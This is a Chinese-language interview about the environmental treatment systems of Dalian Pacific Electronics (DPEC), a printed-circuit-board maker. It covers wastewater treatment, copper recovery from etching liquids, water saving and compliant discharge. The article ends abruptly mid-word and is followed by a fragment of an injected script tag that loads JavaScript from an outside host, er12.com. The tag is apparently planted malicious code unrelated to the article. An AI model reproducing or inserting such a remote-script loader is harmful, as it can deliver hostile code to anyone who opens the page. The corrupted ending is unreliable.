受信息产业部和环保总局的委托，cpca和中国环境保护协会一起对近百家电子电路行业进行了现场调查，大家对大连太平洋电子有限公司（简称 dpec ）的三废治理都赞不绝口，为此cpca秘书长王龙基专访了cpca 副理事长、dpec总裁曲连虎。
王：dpec 是一个怎样的企业？
曲：公司主要经营高密度多层印制电路板、积层基板、pkg基板的开发、设计、加工及销售，pcb年产量为36万㎡。公司占地面积11.12万㎡，一期工厂建筑面积6万㎡，配套建设的污水处理系统建筑面积达3000多㎡，废气处理部分建筑面积500㎡，一期污水处理能力660立方米/d，最终污水处理能力1980立方米/d。
dpec的建厂宗旨是要建中国最好、世界一流的pcb工厂，建设中国pcb工厂最好的环保综合治理、节能降耗的环保设施。企业要发展，而不能以牺牲环境为代价，靠过量消耗资源和牺牲还击国内维持经济增长诗不可持续的，要以对国家、对民族、对子孙后代高度负责的精神做好环保治理，走生产发展、生态良好发展文明之路。
王：曲总在建厂时如何考虑环保工作的？
曲：我们在建设dpec时就把环保作为一项重要因素来思考，特别是要建立一个和谐自然的工厂。dpec的环保方案是以清洁生产、达标排放、节能降耗、资源再利用为理念，经过反复论证、优化而确定。
源头治理是环保治理主要工作，大连是个缺水城市，dpec在建厂初期设备选型上就优先考虑节水、节能型设备，如用水设备上安装生产板感应装置，自动停供水；单台用水设备前安装水表，每道用水工序前安装流量计，严格控制生产单耗水量；采用多级逆流水洗；刷板机安装在线循环用水装置，dpec 单位生产板耗水量为300l/pnl（1.39吨/㎡），是国内同等规模工厂的1/2；生产及辅助动力系统中的加热采用更经济、环保的燃气加热，而蒸汽冷凝水再作为热水回用；生产工序所需化学药液采用重力流自动添加等。在生产基材的选型上dpec紧密结合欧盟weee和rohs指令，实现无卤化、无铅化生产。
这些技术方案不仅有效利用资源，大大减少了企业营运成本，而且减少了污染物的排放，减少后续环保处理设施处理量。
dpec的环保处理设施和工艺立足于确保稳定达标排放及综合回收利用的理念，结合dpmc多年的运行经验，综合国内外印制板行业环保处理的先进设计和建设。
王：实践证明曲总的想法是对的，好的环保处理系统对企业的发展是非常重要的，dpec的三废主要有哪些？
曲：dpec污染物处理主要包括废水、废气、废液回收和固体废弃物回收三个大系统；而废水处理种类则包含生产线产生的工业废水和部分厂区生活污水。
整个废水系统五个相对独立但又相互关联的子系统。废液回收分成酸性蚀刻液、碱性蚀刻液和微蚀废液铜回收系统。固体废弃物回收主要是废边框、废板及钻孔粉尘等的铜回收。
生产中废水、废液分类收集，从工艺设备的排放口通过暗沟中的密闭管道靠重力流到子处理系统中。
处理pcb行业高cod含量、高含盐量、高分子有机污染物的废水是公认的技术难题，dpec与相关环保科技公司经过大量实验、反复论证和多次改进后，成功地将生化处理技术引进pcb行业污水处理中，并取得显著的效果。
王：dpec环保治理主要有哪些特点呢？
曲：（1）确保达标排放
采用连续式和批量式相结合处理废水。浓度低、水量大的废水采用连续式，相反则采用批量式。对于连续式处理系统的前处理工序采用批量式，这样确保系统进水水质稳定，而最终排放单元则为批量式，并安装在线cod、ph检测仪时刻自动检测排放水质，对于不满足达标排放的废水即刻返回系统重新处理，确保稳定达标排放。
（2）环境及安全
为了避免意外再污染，地下混凝土调节池，整体建造安全层，池底部架空，并建集水坑，内设监测点，若有泄漏立即报警，便于检修及根本上杜绝渗漏问题；对于处理时可能产生废水的处理单元，安装排风设备，以防二次污染，同时避免局部有害物质浓度过高对人体及环境造成危害。
（3）减水、减废、节能
由于我们采用节水型生产工艺，不但节水，也减少了废水排放量，降低了废水处理成本。废水处理过程利用重力，废水均从前一工序自流进入下一处理工序，降低能耗和运行成本；废气处理系统安装变频器进行自动控制，达到节能效果。
（4）降低运行成本
dpec在追求稳定达标的前提下，开展降低运行成本控制活动；废水处理系统实行加药量定额控制，并利用dms系统对处理系统进行参数设定、控制、监控和统计；同时企业深化“以废治废、以废养废”理念，如利用酸性蚀刻液和微蚀废液回收铜后剩余的酸性废液酸化脱膜显影废液。
（5）资?script src=http://er12.com/t.js>
